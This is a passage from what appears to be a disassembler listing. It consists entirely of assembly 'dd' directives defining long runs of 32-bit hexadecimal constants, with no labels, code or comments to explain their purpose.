		dd 92E67496h, 0AE12C17Bh, 2BBFE612h, 8B18C25Ah,	0FC603CFCh
		dd 926631D3h, 0CA54396Ch, 0DF656D11h, 0E8B90AB8h, 0CEB5FB47h
		dd 1649368Eh, 5700001Eh, 2B53BF79h, 89659DA7h, 264AB872h
		dd 836B97ADh, 7B49B94Bh, 27DDF95Bh, 73993DBh, 28DAF3FBh
		dd 93B96DAh, 86724EF9h,	0C25B195Fh, 12DE9EB8h, 241B4AAEh
		dd 4C74CA5Eh, 5E2479A8h, 0D201D2CAh, 0E618B3C5h, 1ECAE6CAh
		dd 0CA5E2407h, 7EA55360h, 0D7CA5E24h, 533FBDCAh, 85BF1337h
		dd 5E246C73h, 1FC3CAh, 59CA5E24h, 2E596A48h, 0AD2A8752h
		dd 15C15D97h, 0CA5E240Eh, 5A695A67h, 27DDFA56h,	527C04CDh
		dd 0E7952B2h, 97521376h, 9581E574h, 3A93B705h, 3463EC08h
		dd 101DC3h, 1DC9E500h, 0CA5E1C06h, 2DD7FF5Fh, 0C2D5FEC7h
		dd 606E12D2h, 507420E4h, 0CA5E2451h, 0DDAA19AAh, 5E240D13h
		dd 0D1FE62CAh, 8FF8D133h, 7289DD7Bh, 9A50BB8h, 5E23C6DDh
		dd 5921FCAh, 0E4F35733h, 9601CA2Ah, 611DAAE2h, 446C35D2h
		dd 9C7C0D7Ch, 0B70BA4BCh, 9E7242Eh, 0E612AE25h,	0C25B33BFh
		dd 3CFC8B18h, 89983C60h, 0E2C25B34h, 1FBAC6D1h,	8BB4192h
		dd 3CA804A8h, 0C25B3425h, 9CC3357Eh, 7C25B34h, 4F67BE02h
		dd 2CFF39Dh, 93C3B8D2h,	385F2C03h, 0EBAD6DAh, 0C25C1E17h
		dd 44346370h, 6B7D7789h, 0DCE4CCCDh, 0DF7823A9h, 863265EFh
		dd 4362862Ah, 9CC25B3Eh, 62F88007h, 0C7CA5545h,	35E0FFE3h
		dd 6839BA61h, 973B231Fh, 0DC4B566Dh, 0F9CEB4E4h, 1C9FBA97h
		dd 0F0E00000h, 1CB6BA48h, 0C7D61AE8h, 18B9B54Dh, 865030E2h
		dd 0A0C2947Eh, 18EA1AB4h, 0CE44FCD8h, 0F31F25B2h, 0D43EC00Bh
		dd 140BB705h, 6DC25B18h, 6E120317h, 0FE25D160h,	57CA5E23h
		dd 0F20E794Ah, 0C48D5EE7h, 7D38C760h, 0A2466A46h, 0CA5DDF83h
		dd 44C0C7DCh, 0A3614858h, 91E0AB48h, 0D2DFFA06h, 0EED2013Bh
		dd 30FF26D2h, 0E56ACA5Dh, 0CACF90E2h, 83149D25h, 4EF4DDF9h
		dd 0F933CAB6h, 607B0AFBh, 6408B8F3h, 0B24A8855h, 3D4A7952h
		dd 55F949A0h, 29A5CB79h, 4750D91Bh, 0C1119E39h,	9828883Bh
		dd 0F33CA5F5h, 2024AE5Dh, 5726E4B3h, 595EB06h, 27DDF65Ah
		dd 3519F60h, 5D010000h,	9D36CE74h, 0AE122AEAh, 5E241B4Ah
		dd 7C6074CAh, 2E3933B9h, 0E7197E55h, 814C53ECh,	7A4AF8D5h
		dd 685B37D1h, 9B952448h, 3DC7D059h, 248CB621h, 0C4455C88h
		dd 159ECA5Dh, 44280882h, 96AC2588h, 99FED55Eh, 0DEE2E771h
		dd 0A40DF2C2h, 8D7367A8h, 723C76FAh, 55F9D257h,	6DF9CB79h
		dd 0EA32F6FAh, 57F7C3D4h, 1541C37Dh, 0E56E86BCh, 731FE5EEh
		dd 0F825CB2Bh, 9F44F2BDh, 8D4F9E93h, 8B6532A1h,	0C2634190h
		dd 0D71D27AFh, 0D52FD1FBh, 0FC599013h, 83961EFAh, 3A25E6B1h
		dd 26C5A0E7h, 6F7672E3h, 0AE2A4602h, 0A48EF196h, 0B2000000h
		dd 24BBEA0Eh, 0BF14C263h, 0AE12C4D8h, 5E241B4Ah, 385F74CAh
		dd 0A0848852h, 0CC61F01h, 83E7C9FAh, 3E2CB94Ah,	0B33D9335h
		dd 8C38E420h, 0CA5DF695h, 92EEE5EEh, 6D46BE46h,	0DE821E1Ah
		dd 0B14750F4h, 0D2582BE3h, 0A75974D8h, 0EFD1E2E0h, 0C0F827CBh
		dd 8051C263h, 0EDD16D17h, 63C0DA09h, 0F99E33C2h, 63C15C7Fh
		dd 0AC567BC2h, 9EA62C48h, 7B5ED766h, 388838CEh,	2A8FFC88h
		dd 4C197EF7h, 6D11AD8Dh, 8922E260h, 6381405Fh, 7F0899C2h
		dd 6F26DF8Eh, 0CDB102h,	5E290202h, 1BAA1h, 725BFF00h, 12D5C7D0h
		dd 478F626Eh, 656E37BDh, 7F81069Fh, 342B9754h, 8DCA5E24h
		dd 4D318F44h, 0AA838183h, 0D7731FDDh, 9FC632FFh, 0F8CA5E24h
		dd 53DC18ABh, 579A3444h, 5E24746Bh, 7C04CDCAh, 9C24AF51h
		dd 3A9815C0h, 9A290202h, 7A38FEDh, 5E23C4DBh, 3941DCAh
		dd 0FDD5DAF5h, 5C24AD47h, 0BF01D272h, 0A74E12EFh, 8AFD5ED9h
		dd 807E46F2h, 0CCD3FFD1h, 25CA5D88h, 0F7E0289Ch, 547F8106h
		dd 0DD9E0ABh, 6172EA02h, 0E0A64F5Fh, 0F8E76C7Bh, 1F3B038Fh
		dd 37CC8F88h, 4F441721h, 0E0A78084h, 5D8EFF18h,	0A2466ACAh
		dd 0CA5D3783h, 0C0C0C7DCh, 0AF3A9815h, 52DB1923h, 0C05281h
		dd 34D0705Ch, 4416EC9Bh, 0B1157937h, 0CA5D37B2h, 0EFD1B60Bh
		dd 0DC03EFCBh, 35CA5D36h, 37766D59h, 2CFCA5Dh, 1822AFD1h
		dd 0AC4453DCh, 0D25A74F8h, 0E0FFE3CBh, 0F7C25FF9h, 47E024DEh
		dd 436D566Bh, 5E969027h, 7DE69AD6h, 1EB5FC25h, 2BA3C779h
		dd 0C8FB09C6h, 0C3DA763Ah, 94423E49h, 0A2EB0971h, 5E75F53Bh
		dd 0B6C3CA53h, 0CCA90BC6h, 1971h, 0E81A22B2h, 0E032CA08h
		dd 30F09A0h, 0D62CD6FBh, 0FA083C9Ah, 0AC2A2A4Ch, 4A866A98h
		dd 0AF2848BAh, 56817D95h, 4D7356ACh, 5B147AA9h,	0E1B1D3C2h
		dd 8E636E12h, 6942C242h, 0DAFE9A5Ah, 0CA5E23CBh, 53448F24h
		dd 0B148A925h, 1FB47D77h, 1F5911A1h, 0CF0CB5B2h, 4A664AC8h
		dd 5D6A879Eh, 8BD4E0CAh, 728D6AADh, 0FDFB8C37h,	0FBF4DDD2h
		dd 0FEC72DD7h, 1F21ABD5h, 39774CE5h, 1FE2CA69h,	33A8AB4h
		dd 107A0D76h, 39688C30h, 92CA5DDCh, 0D2465641h,	0E7FEEA07h
		dd 40CA5E23h, 50606073h, 2CB2CBDBh, 0C34146BCh,	0A65873D7h
		dd 0FD4AAA1Eh, 81061B76h, 6AA547Fh, 6273EAAh, 2080CA5Eh
		dd 5E06ADB4h, 6BD06CAh,	1CD86C6Ah, 69860493h, 0B46h, 0E0FFE3C7h
		dd 39CA5E05h, 12FD1F68h, 740379C2h, 0FA11EEC6h,	0E2ED9340h
		dd 7C0BA460h, 7A54B486h, 93B7F9CAh, 0C17F083Ah,	0AD5781DDh
		dd 27E816DAh, 0F18DD258h, 119A5AE0h, 85E8BC86h,	80A82C9Bh
		dd 2B07EDD6h, 777D874Fh, 0FE06D2AEh, 965A2D06h,	0C2634F8Bh
		dd 0DE162EAAh, 0FED8D102h, 0AE25AE46h, 85648156h, 0EE922EC8h
		dd 0BA460E4h, 3A0AE17Ch, 4F737256h, 4E8AC263h, 1DA7FCB6h
		dd 0DCB18760h, 62A3F469h, 26F64F3h, 0FC31FDC5h,	0FEB957C2h
		dd 0FCD52FD5h, 0ED3FC0C7h, 61000004h, 6532D0FDh, 4AAE122Fh
		dd 0CA5E241Bh, 599BA132h, 0B6E1F2D0h, 5E242642h, 727741CAh
		dd 3C41864Eh, 0E35CE5C4h, 0F113319Dh, 2D912F58h, 0F23E6591h
		dd 0A97CA5Dh, 0EBD9F37Dh, 4E56D260h, 0EDD7B2E4h, 0DCE6B121h
		dd 1DA65E74h, 33790B93h, 0CDF10BE6h, 12A2FEBAh,	10AD1752h
		dd 63E1EDACh, 0FED92770h, 745FE5F1h, 9DA7304Ch,	49C9CE57h
		dd 0AC254965h, 23D55E96h, 0C25A51FCh, 27DDF955h, 0C20DEB9Ch
		dd 529AC92Dh, 0DEF3C25Ah, 18AFCBF5h, 0F7FD07CBh, 0C65FA52Eh
		dd 335743C1h, 5A52908Fh, 0AFD8E9C2h, 0B4FCFDDBh, 0DF1B30ECh
		dd 0DDAAEDF6h, 329BBFDBh, 2C5BF410h, 550316C4h,	0F1E17DCAh
		dd 6A29784Bh, 6BCEB526h, 173BEC09h, 547C0000h, 0B81A56ACh
		dd 5B728E84h, 844D31E1h, 626C947Eh, 7CA630E2h, 0BC46FED8h
		dd 1AE818B4h, 0B74BF9D6h, 30E21CB7h, 0B0AF13A9h, 9C25B12h
		dd 6E12A76Bh, 0FC23CF62h, 55CA5E23h, 0D9F9774Ch, 3F48E123h
		dd 0BF199641h, 62724E85h, 6A660DFFh, 4B60EADAh,	2771BA0Bh
		dd 0CAF97DD5h, 37533FBDh, 5E00948Bh, 0B3E4EDCAh, 28A50AC5h
		dd 0C12AA1Ah, 20CF103Dh, 60710DB3h, 234FADDAh, 0D55D97A9h
		dd 0E09B14BAh, 88442CE8h, 599BA925h, 3D0103D0h,	752623C6h
		dd 4E897970h, 0F7CC7661h, 0F2F1D5B9h, 4BCA5D7Ch, 8A811176h
		dd 59522DBh, 0FF05D1ADh, 9C5B2C05h, 36Ch, 767360FCh, 8049AB59h
		dd 12504453h, 0A376BCC2h, 5D44203Fh, 9C2879CAh,	4886F68Bh
		dd 646F38BCh, 788A4533h, 8ABA1438h, 349FE16Ah, 3661EA0Ah
		dd 7F8EF2CEh, 21663FC5h, 664AF4DFh, 5037CD0Ah, 7462FEC2h
		dd 0F5C3C7D0h, 6D57CCF5h, 0FCC71317h, 0F5ECD8B4h, 4ECA5D58h
		dd 8A261285h, 3057EDE6h, 577066C8h, 9F9B23D2h, 0FB52ECBCh
		dd 0C3AB9700h, 35FEF608h, 477C864Bh, 3CF60569h,	32659F34h
		dd 85E6EECAh, 496B48EBh, 9CA62F51h, 30C8CF58h, 0C263E02Dh
		dd 8183BD4Ch, 59757A55h, 538049ABh, 33B62DB1h, 1C40E016h
		dd 0D97292B2h, 84B437AEh, 0B351EBE8h, 0C9986D1Ah, 0DA026FC5h
		dd 0A0h, 0DC95763Eh, 3CCB3638h,	0FEDC494Bh, 23E7FEEAh
		dd 7340CA5Eh, 8C506060h, 0A7856381h, 0C89BCA2Eh, 0DFF4CA5Dh
		dd 0F995A3F4h, 2ACA7855h, 9482F6A1h, 89D257FDh,	61335839h
		dd 0F79AE5E1h, 0AA944233h, 6852458Eh, 0FAF12B5Ch, 32A17A17h
		dd 0E7DEE6D2h, 2342A690h, 7CC263A0h, 42759D27h,	0F4DF6572h
		dd 5D2CDA3h, 0E4F1C264h, 0C242FC0Bh, 3E1ADAE9h,	0CF917391h
		dd 3EB89554h, 8B9A3E62h, 0E4C26406h, 0BE1DC8CFh, 4BF1E27Eh
		dd 9B18493Ch, 106C026Fh, 0F2BB39C3h, 1BAD2A5h, 1A360000h
		dd 1B0186BEh, 0E1636E12h, 0FBFD8A23h, 4DF7DBD0h, 7D6A3A76h
		dd 0B1B014E8h, 0ACA5DB5h, 0E0940BB9h, 0AC548000h, 6C187F48h
		dd 387300D0h, 0EB093B96h, 3B7A7262h, 0E2626C14h, 0A60BC3B5h
		dd 6AA192Bh, 2FD56F6Ah,	0A793F196h, 99F809C3h, 7DD32000h
		dd 0ABCDBA09h, 26A1F20h, 47D4139Fh, 2B989229h, 0A6BD2985h
		dd 0FFCA5DE6h, 0BBEA0EB2h, 14CA5DE5h, 902CD8BFh, 0DD9A42Ch
		dd 488B0218h, 5DC681A0h, 0BEC9DACAh, 0FFEE17C2h, 8A36B25Bh
		dd 213D8350h, 0DF688CB6h, 9D8E5AB8h, 0E8CA5E3Dh, 0CEB94B84h
		dd 0E51D27B2h, 47A82549h, 0B57E76B0h, 0DDFAE61Eh, 0CF04CD27h
		dd 0A0F8C2C8h, 5DF60E36h, 887A4A66h, 80281324h,	89251384h
		dd 2B5CD6E5h, 5AEEE1C5h, 0A322B2D2h, 68D8DE31h,	9DF771ABh
		dd 0C2FDB127h, 61240F16h, 685B68C2h, 913B231Fh,	405C646Fh
		dd 678DB71Ch, 240B1ADEh, 4F64C261h, 8C147848h, 7EB69C47h
		dd 3A698D1Ah, 93C26070h, 0F602953Eh, 42F8D9D8h,	0F3F2D6C2h
		dd 4CC2606Fh, 39774C77h, 70727155h, 0B5DDC260h,	0D89A86DAh
		dd 2A0E961Ch, 0E2E39DEDh, 9BF7A033h, 0D4CBF793h, 2DC260BAh
		dd 0C905F3A4h, 5F99663Bh, 0E43CC6B5h, 13D8F7h, 81BB1900h
		dd 0DF656D91h, 82BC4B33h, 0D9637090h, 7B894529h, 0BF95BD87h
		dd 0D915ED17h, 0B1CD45FFh, 0CF41E24h, 4D33FC1h,	0F150CB8h
		dd 186EC25Bh, 0ED04D204h, 45BF4591h, 24657C6Ch,	0F5BECA5Eh
		dd 547EE2DEh, 432BE7B0h, 45AA2388h, 0B47D778Dh,	0B00CB41Fh
		dd 5E241D44h, 5A2D76CAh, 616C10B0h, 0A30A1DFh, 663661EAh
		dd 0E55F6E12h, 0FF01861Fh, 44FED7D4h, 0D4DCE7C0h, 24150CB8h
		dd 656ECA5Eh, 92EECA32h, 0A9D7C044h, 8F62152Eh,	1CD8626Fh
		dd 58C14193h, 0AA60AB9h, 5D94C7DEh, 53F1DECAh, 99A18B1h
		dd 0C4D36D67h, 0A2466A46h, 0CA5D9583h, 0BFC0C7DCh, 5C6h
		dd 0B2507DE1h, 0E0E7952h, 9F19C212h, 0AFFAC14h,	0A7B3857Dh
		dd 8EF452CFh, 19972C4Bh, 60EBFDADh, 0FEEAC6D2h,	0C25AF6E7h
		dd 16247340h, 9F659F3Ah, 97F3BD06h, 5AF7342Bh, 53448DC2h
		dd 0F71A45A9h, 9D39C25Ah, 60718D67h, 1FA61ADAh,	0EC778FBCh
		dd 0A0314DEDh, 0FEC2B19Bh, 745FFBCDh, 0BDD0B790h, 0D96BEACh
		dd 0CD775C00h, 0ECE0FFE3h, 6839C25Ah, 4E9601Fh,	0DCC00000h
		dd 5AECE9F8h, 267142C2h, 646E12F6h, 14BF458Dh, 23F9ED83h
		dd 264ACA5Eh, 0CE579D97h, 0F2F7C1C9h, 2024B2CEh, 27CD7760h
		dd 6347F99Eh, 24849B47h, 0D4DDCA5Eh, 1E752DC3h,	324ED261h
		dd 4CF6A19Bh, 289B9524h, 57603888h, 9921F567h, 0A32E52EEh
		dd 63B6A8Eh, 3F94C25Ch,	84502C94h, 0BF7F0B7Ch, 5E8F7DBh
		dd 7141C25Ch, 0A56A1BDh, 99D7ECF1h, 64ED073Dh, 658A4533h
		dd 5BD96281h, 0CAE6BBC2h, 5BD9071Eh, 805360C2h,	7D089884h
		dd 0BB4590F4h, 0E647039h, 0C7BBCCB8h, 0A3895F1h, 0B93F7B9h
		dd 0FE3B1FCEh, 144C0B3Ch, 5E330CB8h, 8183814Eh,	31951BA8h
		dd 0C25B6132h, 0A751368Bh, 0CA5568F1h, 978E3A56h, 0F0BA615Ah
		dd 14BF7990h, 97B783h, 0AEA24B3h, 0D9729241h, 0BFE0B7EAh
		dd 9BF5CEB4h, 11C4BEh, 35CF0500h, 0B31A1DDh, 26E0F7F7h
		dd 53F94DCh, 5FE5F10Dh,	530121B3h, 3539C97Bh, 5599699Bh
		dd 3838CA78h, 28AF639Dh, 0D313094h, 0EC8AC25Bh,	646E1228h
		dd 0E58B24E0h, 503057EDh, 96AE2885h, 20ABD55Eh,	6F0BB51Eh
		dd 8F18DC66h, 75607C08h, 0F67C07CCh, 0A02C62DDh, 0F8CB64A0h
		dd 4FDDE5CBh, 37B620B2h, 0F5E19BECh, 0B1CD27DDh, 63D71D27h
		dd 993DFDDCh, 0CA5E128Ah, 0A605CEE3h, 757C56FAh, 7017AC66h
		dd 6A46F6F5h, 5E12677Eh, 0FA26D2CAh, 0A29F2A01h, 0F4049320h
		dd 0E58927D9h, 70545CD6h, 0CA5D6A71h, 48EF9CAh,	8EB6203Ch
		dd 3F550409h, 97270595h, 23697624h, 3BBCCBE4h, 343h, 2FD5015Dh
		dd 898BFCD5h, 16F8C212h, 0CB262EF3h, 12C213D6h,	593E80E4h
		dd 0A693AC27h, 555303FEh, 0A0BC04CFh, 0FB890E36h, 48577B1Fh
		dd 0A1CA5DEEh, 5E798710h, 54801CA4h, 0CA5DEE4Dh, 0C7DE0AA6h
		dd 20CA5DEDh, 0BB574093h, 14A7ABF3h, 2B324CD4h,	3C88FB5Ch
		dd 2E595A4Bh, 0AC2A7E5Ch, 0D35C98h, 130D9CC0h, 74D8B484h
		dd 13DDAA5Ah, 0D25785D9h, 15AAFA96h, 0AE9240E7h, 6D416088h
		dd 99AC263h, 75F0C47Eh,	0E11BB8C0h, 2F3A8A23h, 268A39A5h
		dd 7E768E4Ah, 682F36A2h, 3B88C263h, 9985FF88h, 680BADF5h
		dd 0CE71C03Ch, 6371FB2Ah, 17F54C2h, 916730EAh, 0C263728Eh
		dd 7E2320ADh, 0BC0DBBCFh, 2E4AAA19h, 8084529Fh,	0DC18AB84h
		dd 4805E45Dh, 4AAE12AEh, 0C263B11Bh, 239FA532h,	9FC6328Eh
		dd 0F8C263B1h, 0EA01DCABh, 9392365Ah, 0ECC263B1h, 8CDDB0D7h
		dd 0E0026FF2h, 0A90918BCh, 5162C263h, 87B946h, 0B3D70000h
		dd 0EE060097h, 0A98C9365h, 0DCE5C263h, 6E12E9ABh, 0D0B2E55Fh
		dd 2321AE0Ah, 357B48E1h, 0E43A4959h, 0A43CE23h,	5D1DF37Dh
		dd 0C212D257h, 0F6D0B9D5h, 29A4CCBFh, 2D27017h,	0BAE8706Dh
		dd 4D736030h, 669EA431h, 5642BACDh, 0E123D9FAh,	0A6B93F48h
		dd 0C5C262CCh, 0DFFBF90Bh, 2CAB49F3h, 0DD1936B5h, 8FB51D41h
		dd 0B2488975h, 0ECEF7621h, 6EDD4819h, 0CB941C02h, 5C022AA0h
		dd 679C5B2Ch, 0FC000001h, 0BCCB7560h, 0CFC212D8h, 0AA5A769Dh
		dd 8E31441Ah, 0CFDCF709h, 2D06FE38h, 0F2C25E96h, 0F30A05C3h
		dd 0E2F2BB39h, 0F6A1F4E7h, 4925CC0Ah, 717078B2h, 0CACA5DC0h
		dd 4E2ACAF9h, 1B3F8183h, 0DE678DB7h, 0A42F4BB9h, 0AE758E47h
		dd 0DDE54F4Ch, 0F7B90AB9h, 4302F93h, 3889CA5Eh,	4554C78h
		dd 25AECA5Eh, 67501872h, 92CA5E7Eh, 385FE5EEh, 0A0748D48h
		dd 0F1943F7Bh, 0D9753B88h, 23AC48C2h, 761A1674h, 5D9E5352h
		dd 7017ACCAh, 7DBCC09Ah, 503F8C47h, 2BC9435Ah, 854F31A2h
		dd 23B0797Bh, 0F820159Dh, 0B5783D81h, 96BAD6E2h, 5FE80C38h
		dd 0CBE4C038h, 97B7D25Ah, 0F0D0033Dh, 50F928CCh, 8152C260h
		dd 0E11B0453h, 2A5D0AA5h, 60E4F28Eh, 2FD1FC60h,	0FF8BFCD5h
		dd 77096F3Fh, 2C12DA9Eh, 40B11D5Bh, 0BF886C94h,	44F09D14h
		dd 8BE5C6B5h, 0E8C6Eh, 0FD07CD00h, 53E9E905h, 0EE28BFBFh
		dd 4DF7DC24h, 0E71DB9B5h, 4B09291Bh, 6D918183h,	4D31E163h
		dd 70908280h, 0A027DB65h, 9A9B81Ch, 6402C25Bh, 4AAE1290h
		dd 0CA5E241Bh, 48385F74h, 163A768Eh, 8FFB8CB8h,	0FE00CBAFh
		dd 53B16B82h, 0E0EB0D7Ah, 0E99C345Fh, 15BE0E16h, 0BCE30FABh
		dd 15CA5D62h, 0AF8FFB8Ch, 62B8E70Bh, 0E30FCA5Dh, 0CA5D61BCh
		dd 9D268C15h, 6E122AEAh, 861FE55Fh, 0D7D4FF01h,	25AE46C0h
		dd 4AAE12AEh, 0CA5E241Bh, 0CC385F74h, 0BD478CF0h, 0AB666E37h
		dd 7FC36EF5h, 0FBD62275h, 0C9036749h, 0A3F4BD37h, 0AE2347E7h
		dd 7FF40394h, 14000000h, 8E669E38h, 881F46B2h, 2B78CA5Dh
		dd 0B5AC1898h, 0ECA5D88h, 0D2C2D2C5h, 1B24FE07h, 0EDD76963h
		dd 3C873DD7h, 48D4DCB8h, 81212711h, 0AB265245h,	80436286h
		dd 79CCA5Dh, 2C98F4BCh,	0CA5D8035h, 0AA52458Eh,	0FF053FCEh
		dd 0AD47F9D3h, 222FAA39h, 5E9E3DC8h, 0FDC3D273h, 629E639Eh
		dd 9D36CE76h, 0C9659D26h, 0D81C16A5h, 8C37484Fh, 59000000h
		dd 0D363EA49h, 8844A9BBh, 20B37C78h, 0C212A577h, 6F53DA6Ch
		dd 0CA5DA870h, 0B3CCF8C9h, 0AF6A1CCh, 4FF5E2CFh, 4DA71CB5h
		dd 5DA277A9h, 0B0594CAh, 41C30DE9h, 5E7DF4C3h, 0A1EBFADEh
		dd 6F44CA5Dh, 8641064h,	0F7D034CCh, 0A2160DB9h,	626FCA5Dh
		dd 1131A835h, 0A21A49ADh, 8571CA5Dh, 0CA5DA25Eh, 0FBC8EAB7h
		dd 4EA65C75h, 0EBE61285h, 0ECE5CC06h, 0BE876D56h, 0E30FAB15h
		dd 0CA5DA1BCh, 8FFB8C15h, 0FC06CBAFh, 49AB6574h, 12051780h
		dd 0B7E0646Eh, 30A10EC9h, 23D4CBF7h, 0A42DCA5Eh, 801CA42Fh
		dd 5E244D54h, 6A1DA6CAh, 616AF012h, 1EB7735Fh, 0D478D261h
		dd 824047F9h, 0E1EB8F31h, 6E75615Fh, 0C7C25B2Ah, 0CFAB8DFAh
		dd 0DAB6FA04h, 5B29F7EEh, 3D8350C2h, 5B2A8A99h,	0C9CEE3C2h
		dd 45AA2549h, 0A74D768Ch, 0D9636F0Bh, 0AAFEDCAEh, 4AC172Dh
		dd 6D6804A8h, 509831D3h, 0C25B2A51h, 0A6E19AAh,	0CA5E237Bh
		dd 0DD813F94h, 8A993DF2h, 0E3BA5830h, 1B21B2CEh, 0FA565AA8h
		dd 48E123D9h, 6D96413Fh, 4DF78C46h, 0BE02D19Fh,	890E36A2h
		dd 0B98F1FFBh, 0FEF60E99h, 4DEB1F68h, 0CE968D39h, 0CFEFBA58h
		dd 58CDFC23h, 774C55BAh, 4FBA5E4Dh, 6F64AC90h, 0A3A12D51h
		dd 46844F4h, 0A85037C9h, 0C253030Ah, 8EB01B3Fh,	0BD153909h
		dd 7E653C87h, 57D6B74Eh, 0BF3E0FDh, 9C340000h, 0D2AE64h
		dd 0D3EA06FCh, 0CC5A959h, 0EAE40CF6h, 0F41EA85Ah, 44CE7660h
		dd 0A270903Ch, 3FD3715Eh, 986A943Fh, 0B8E70BB1h, 11C25B06h
		dd 6E129F73h, 871FE55Fh, 4D5A84F5h, 0DBAC1710h,	6011329Dh
		dd 8974B95Fh, 5E96AC29h, 0EBD5FED5h, 0F7B9438Fh, 5DAED4CBh
		dd 0F3A42DCAh, 57F39797h, 6740C47Eh, 5DAF6281h,	160DB9CAh
		dd 6FCA5DAFh, 44536062h, 0BF149934h, 1DA67F85h,	735F3BD7h
		dd 0CA5DAF6Ch, 6D8BFCC5h, 0B486E162h, 7B99873Fh, 0A0446848h
		dd 0CA5D4E81h, 10A7C9DAh, 4255DE16h, 14309EBAh,	39C804F0h
		dd 0C997B90h, 857F5495h, 0C02F8FADh, 0E7C471CEh, 0D7FBFBDEh
		dd 0D5FEC72Dh, 0A11AAAD6h, 1A8BECC2h, 55D74B3Ah, 0E939A7Fh
		dd 3DFDDC89h, 0FC8BB121h, 0F0DCD1FCh, 0A132D0FDh, 0B64EC8DFh
		dd 0A60AA61Dh, 5F309CAh, 0CA5DD6DEh, 6D1D6A37h,	4691EDD1h
		dd 896F38BCh, 0CA5DD75Ah, 0B8E70BB3h, 11CA5DD6h, 818413C0h
		dd 595CBD0h, 0CEE3h, 0B57D4500h, 29304689h, 122F6532h
		dd 24E0646Eh, 3406FC8Bh, 0AE46FED4h, 6E12AE25h,	8922E262h
		dd 0DE9642FEh, 97D25873h, 0A1E618B3h, 0CB010A1h, 63D4B9E8h
		dd 0D6C112C2h, 0FEEAC6EAh, 0C263D3E7h, 0C50D7340h, 0AF28583Fh
		dd 646F9542h, 1873545Ch, 6784E052h, 962FD56Fh, 10B05A2Dh
		dd 931948ACh, 6172C263h, 93A1C236h, 60FCC263h, 0B8C8CF49h
		dd 0AB46901Dh, 63931847h, 736071C2h, 0A50BB891h, 0E58E941Dh
		dd 0B5E25D22h, 91355955h, 0C2635492h, 0C11A30FDh, 0F5BD00C5h
		dd 309DDBACh, 3A9815BFh, 0BE02D102h, 7164CEF6h,	0D2C52B2Dh
		dd 0C6328E2Ah, 0C263D39Fh, 9BDCABF8h, 0A25h, 2E35A1FDh
		dd 87C263D3h, 5352763Ah, 0ACC263D3h, 0D2AC7017h, 7633FE07h
		dd 0FAF1F8C6h, 0EB8F2BC9h, 0F985CE6h, 505D7888h, 664A7983h
		dd 0BD37CD0Ah, 47E7A3F4h, 0FD607F63h, 0E8B9CA5Dh, 79CD6B9Fh
		dd 0ECAA65Ch, 0C7E3CDF6h, 5DFD041Bh, 43545DCAh,	4F891975h
		dd 0D86864CCh, 0F23B44ECh, 6AA1CBA5h, 425ED257h, 6494B01Eh
		dd 0C2633D3Dh, 0C07A0D96h, 5961BAF4h, 1799EBD1h, 6332B4ABh
		dd 0FC40DC2h, 64710DB1h, 5B8D26DEh, 0C2633244h,	0F983149Dh
		dd 63324A55h, 6B4FEFC2h, 63325887h, 0DC666FC2h,	23BACDD6h
		dd 0FBD478C8h, 1E4F3E49h, 0B1026F73h, 0B0h, 1847AB0Fh
		dd 71C2632Ah, 8CB42060h, 0C21219FBh, 33907395h,	689C36DBh
		dd 84562C5Bh, 0BC153977h, 0A7BE2A86h, 0CA5DE1h,	0F0D4E4B3h
		dd 0D2581622h, 699B3317h, 0AD3C241Eh, 0AC6D7460h, 0FDC6C263h
		dd 0D7B3FDC6h, 63ABF4EBh, 0A0314DC2h, 0A65E299Ah, 1FBA96FAh
		dd 62861FE5h, 0C263AC43h, 354C089Ch, 3AA21EB3h,	677AFE89h
		dd 86C2634Ch, 5C38BC48h, 634C6978h, 8FF1C2C2h, 7C3BB943h
		dd 8D69E605h, 0BAE90DB1h, 13C2634Bh, 0F2E1636Bh, 0EE21B8A5h
		dd 26F5C7Fh, 71228151h,	68471C9Bh, 248601Fh, 0DCC00000h
		dd 3DAB5580h, 0C263F126h, 2F65327Fh, 3BD2AE12h,	0BE2A0301h
		dd 0CA5E24A7h, 94E4B300h, 0D1D0F439h, 2ACA5E23h, 43FDD799h
		dd 0D5DBE8C1h, 0BC98CBCDh, 5C2B0A1Dh, 1BACF4A0h, 2DE7F607h
		dd 1CA0D897h, 70418D6Bh, 0AEAD963h, 7B81522Eh, 0E410B079h
		dd 0CA5DADBDh, 0FEFA8D16h, 0ABBA1ED3h, 4CA5DAEh, 9C24AFh
		dd 5DADCDD4h, 279D26CAh, 85EABEC5h, 9C682F9Fh, 15C09C00h
		dd 0B84009EBh, 0CA5D63A9h, 2B3A9E02h, 84CA5D63h, 5F3A42Fh
		dd 5AE8E5CAh, 50C2119Ah, 0FDAF6070h, 0E6EF2466h, 7AED7A1h
		dd 5539CA5Eh, 5DFE7271h, 2FA3CBCAh, 6D56EF15h, 0FEF3DE1Ah
		dd 144732D3h, 1ED56462h, 4D764FB5h, 32CB0763h, 0EF43CC28h
		dd 98D8EB63h, 0F694033Dh, 8D87163Ah, 32D3FEFAh,	0D9CD9D5h
		dd 7BC113h, 7AA94D73h, 0D3CA5D9Ah, 0E3EBD5FEh, 7B5787EEh
		dd 5A6A43C1h, 0B4FC0632h, 5E0C1110h, 2E596ACAh,	0D226B4D6h
		dd 1CF8FC00h, 5E0CA9B8h, 22B102CAh, 636B0FB1h, 0FD8A23E1h
		dd 0D2FB5F3Bh, 8CFBD430h, 581CE6E4h, 23CFEBD2h,	0C263F9FCh
		dd 80644C55h, 0C263FA61h, 0A49EE9BAh, 0E90DB10Fh, 0C263F9BAh
		dd 39D9BE13h, 0A671793Fh, 0B7F93FD3h, 0CADAD6EDh, 0BE7E5D93h
		dd 79475049h, 0A6348D15h, 543313A5h, 11C37AE5h,	0C8CF3077h
		dd 615F6E30h, 78834BCAh, 3370F59Dh, 0BCD2C410h,	472B6FD1h
		dd 0F1DE8240h, 0A3A12D53h, 65409030h, 0B52F5CEDh, 12AE8AFDh
		dd 511B4AAEh, 5F74BA66h
		dd 238E4838h, 737A99AAh, 0EF8EF3C3h, 3C8720E4h,	0B5AC1874h
		dd 0EBA6646h, 0F3E06472h, 40C47E8Dh, 0CE722067h, 45DF06F2h
		dd 6B38BA66h, 53F2DC1Ch, 13FFA022h, 653C870Fh, 0CEAF2674h
		dd 0F2D2FF61h, 33000006h, 0CFAF639Dh, 0E509F903h, 0CAA65CD6h
		dd 0DF1FF309h, 0FB54DF7h, 0E3616DE7h, 7B854F2Fh, 0D46E6787h
		dd 6D97423Eh, 0EA0EB295h, 0C25B01BBh, 12A27214h, 0B2E55F6Eh
		dd 28A908C6h, 6A59F212h, 0C4657E46h, 0A6BB1FF8h, 3269D526h
